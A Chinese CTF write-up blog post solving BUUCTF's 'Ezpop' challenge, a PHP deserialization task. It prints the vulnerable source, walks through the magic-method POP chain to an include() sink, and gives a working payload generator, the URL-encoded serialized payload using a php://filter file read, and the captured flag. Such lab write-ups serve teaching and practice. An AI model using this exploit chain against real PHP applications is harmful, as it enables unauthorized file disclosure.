【BUUCTF】Ezpop

Itachi

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

分析

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

一个保护的属性 $var
include()函数(可以通过这个函数读取文件->php伪协议拿flag)
__invoke()魔术方法,该对象被当作函数调用时触发该方法

可以使 $var=php://filter/read=convert.base64-encode/resource=flag.php,再想办法触发 __invoke(),就可以拿到flag


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

两个共有属性 $source$str
__construct()在对象被创建的时候触发,它将传进来的参数 $file赋给了 $source,并且以字符串的方式调用了它
__toString()当该对象被当作字符串调用时触发,return $this->str->source的意思是返回 str对象的 source,也就是说该对象中的 str应该是一个对象
__wakeup()反序列化前调用,它会将 source当作字符串并过滤一些字符

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

一个共有属性 $p
__construct()在对象被创建的时候触发,将 $p初始化为数组
__get()访问该类中不可访问的属性时触发,将 $p赋给 $function,并以函数的方式调用它,可以触发 __invoke()方法,所以这里的 $p应该为 Modifier类的对象

payload

  1. 拿flag:Modifier类中的属性 $var=php://filter/read=convert.base64-encode/resource=flag.php
    include($var)可以拿flag</font>
  2. 触发 __invokeTest类中的 $p=new Modifier()
    此时 __get()方法中的 $p()就是以函数的方式调用,触发 __invoke()</font>
  3. 触发 __get()Show类中的 $str=new Test(),所以上述的赋值应为:**str->p=new Modifier()**。
    __toString()中的 str->source调用了 Test类中的 source,但该类中并无此属性,可触发 __get()</font>
  4. 触发 __toString()Show类中的 $source=new Show(),所以上述赋值应为:**source->str=new Test()** (嵌套关系,下面的赋值写在方法里)
    __wakeup()方法会将 source以字符串的方式调用做过滤,触发 __toString()</font>
  5. 触发 __wakeup():反序列化 Show对象时自动触发

所以调用顺序为:__wakeup()->__toString()->__get()->__invoke->include()

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Test {
public $p;
}

class Show {
public $str;
public $source;

public function __construct() {
//Test对象
$this->str = new Test();
}
}

//第一个Show对象
$asd = new Show();
//第二个Show对象
$asd->source = new Show();
//Modifier对象
$asd->source->str->p = new Modifier();
//得到payload
echo urlencode(serialize($asd));

?>

得到:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7Ds%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D
img
base64解码
img
得到:flag{ea191b85-eac9-4a99-b034-7f4f2aaa714c}

  • 标题: 【BUUCTF】Ezpop
  • 作者: Itachi
  • 创建于 : 2021-11-30 00:37:58
  • 更新于 : 2021-11-30 01:58:06
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】Ezpop/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】Ezpop